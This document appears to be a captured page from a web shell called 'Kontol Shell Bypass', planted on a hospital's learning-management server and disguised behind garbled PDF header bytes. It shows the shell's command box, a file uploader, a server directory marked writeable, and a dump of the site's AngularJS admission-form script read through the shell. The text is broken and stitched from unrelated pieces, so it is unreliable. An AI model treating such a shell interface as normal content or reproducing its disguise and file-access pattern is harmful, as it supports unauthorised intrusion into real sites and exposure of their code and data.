%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/adm_form.js
/** Admission Form List */
angular.module('MetronicApp').controller("AdmissionFormList", function($http, $timeout){
    var cr=this;
	cr.sdata={p:1};

	cr.lists=function(p){
        /* cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        } */

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }
        
		show_loader();
		cr.sdata.p=p?p:1;
		$http({url: API_URL+'admform/lists', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		);
	}

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
    }
	
	/** Init **/
	cr.init=function(){
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'admform/init_list'}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
                cr.states=res.states;
                
                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		);
	}
	cr.init();
});

/** Admission Form **/
angular.module('MetronicApp').controller("AdmissionForm", function($http, $rootScope, $stateParams){
    var cr=this;
    cr.dds={};
    cr.data={};
    cr.step3={profile_photo:'', signature:''};
    cr.file_name_arr = { marksheet_ug: [1], marksheet_pg: [1], marksheet_othr: [1] };
    cr.exam='status_12th';
    
    cr.onStep1Load=()=>{
        setBsDatepicker();
    }

    cr.showUndertakingForm=(exam)=>{
        cr.exam=exam;
        setTimeout(()=>{
            showModalNew($("#undertakingModal"), true, true);
        }, 200);
    }

    cr.undertkingForm=(e, k)=>{
        let v=e.target.value*1;
        cr.data[k]=v+'';
        /* if(v===0){
            cr.showUndertakingForm(k);
        } */
    }

    cr.downloadResultUndertaking=()=>{
        let url='api/general/result_undertaking/'+cr.data.app_id+'/T?exam='+cr.exam;
        //alert(url);
        //return;
        location.href=url;
    }

    cr.saveStep1=function(){
		var frm=$("#step1form");
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'admform/save_step1', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
                    cr.data.step_completed=res.step_completed;
                    cr.data.final_submitted=res.final_submitted;

                    show_alert_msg(res.msg);
                    $('[href="#Section2"]').click();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

    cr.saveStep2 = function() {
        var frm = $("#step2form");
        var formData = new FormData(frm[0]);
        show_loader();
        $http({ url: API_URL + 'admform/save_step2', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    $('[href="#Section3"]').click();
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.saveStep3 = function() {
        var frm = $("#step3form");
        var formData = new FormData(frm[0]);
        show_loader();
        $http({ url: API_URL + 'admform/save_step3', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    cr.data = {
                        ...cr.data,
                        ...res.result,
                    }
                    frm.find("input[type='file']").val('');
                    $('[href="#Section4"]').click();
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.deleteStep3Img = function(key) {
        if (!confirm("Are you sure to delete this image?")) {
            return true;
        }
        show_loader();
        var formData = new FormData();
        formData.set('field', key);
        //let data = {field: key};
        $http({ url: API_URL + 'admform/delete_step3_img', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    cr.step3[key] = '';
                    cr.step3[key + '_url'] = '';
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.add_new_file = function(key) {
        cr.file_name_arr[key].push(1);
    }

    cr.delLocalFile = function(name, index) {
        cr.file_name_arr[name].splice(index, 1);
    }

    cr.deleteFile = function(key, name, index) {
        if (confirm("Are You Sure To Delete This File")) {
            var formData = new FormData();
            formData.append("key", key);
            formData.append("name", name);
            show_loader();
            $http({ url: API_URL + 'admform/delete_doc', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
                function(res) {
                    if (res.success) {
                        if (index > -1) {
                            cr.data[key].splice(index, 1);
                        } else {
                            cr.data[key] = '';
                            cr.data[key + '_url'] = '';
                        }
                    } else {
                        show_alert_msg(res.msg, 'E');
                    }
                }
            );
        }
    }

    cr.submitStep4 = function() {
        var frm = $("#step4form");
        var formData = new FormData(frm[0]);
        show_loader();
        $http({ url: API_URL + 'admform/save_step4', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    cr.data = {
                        ...cr.data,
                        ...res.result
                    }

                    $("#step4form input[type='file']").val('');
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.finalSubmit=function(){
        if(!confirm("Are you sure to final submission?")){
            return;
        }

        show_loader();
		$http({url:API_URL+'admform/finalSubmit', method:'POST', data:{app_id:cr.app_id}}).success(
			function(res) {
				if(res.success){
                    cr.data.final_submitted=res.final_submitted;
                    show_alert_msg(res.msg);
                    cr.disableForms();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

    cr.hold=function(){
        if(!confirm("Are you sure to hold/push back?")){
            return;
        }

        show_loader();
		$http({url:API_URL+'admform/hold', method:'POST', data:{app_id:cr.app_id}}).success(
			function(res) {
				if(res.success){
                    cr.data.final_submitted=res.final_submitted;
                    cr.data.status=res.status;
                    show_alert_msg(res.msg);
                    cr.disableForms();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

    cr.approve=function(){
        if(!confirm("Are you sure to approve?")){
            return;
        }

        show_loader();
		$http({url:API_URL+'admform/approve', method:'POST', data:{app_id:cr.app_id}}).success(
			function(res) {
				if(res.success){
                    cr.data.status=res.status;
                    show_alert_msg(res.msg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

    cr.disableForms=function(){
        if(cr.data.status=='Approved' && !$rootScope.isAdmin){ //cr.data.final_submitted
            $("#step1from, #step2from, #step3from, #step4from").find("input, select, textarea, button").prop('disabled', true);
        }else{
            $("#step1from, #step2from, #step3from, #step4from").find("input, select, textarea, button").prop('disabled', false);
        }
    }
	
	cr.init=function(){
        cr.app_id=$stateParams.app_id || '';
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'admform/init', method:'POST', data:{app_id:cr.app_id}}).success(
			function(res){
				if(!res.success){
					show_alert_msg(res.msg, 'E');
					$state.go('dashboard');
					return;
                }

                cr.dds=res.dds;
                cr.data=res.data;

                setTimeout(function(){
                    cr.disableForms();
                }, 1000);
			}
		);
	}
	cr.init();
});

//EOF

Kontol Shell Bypass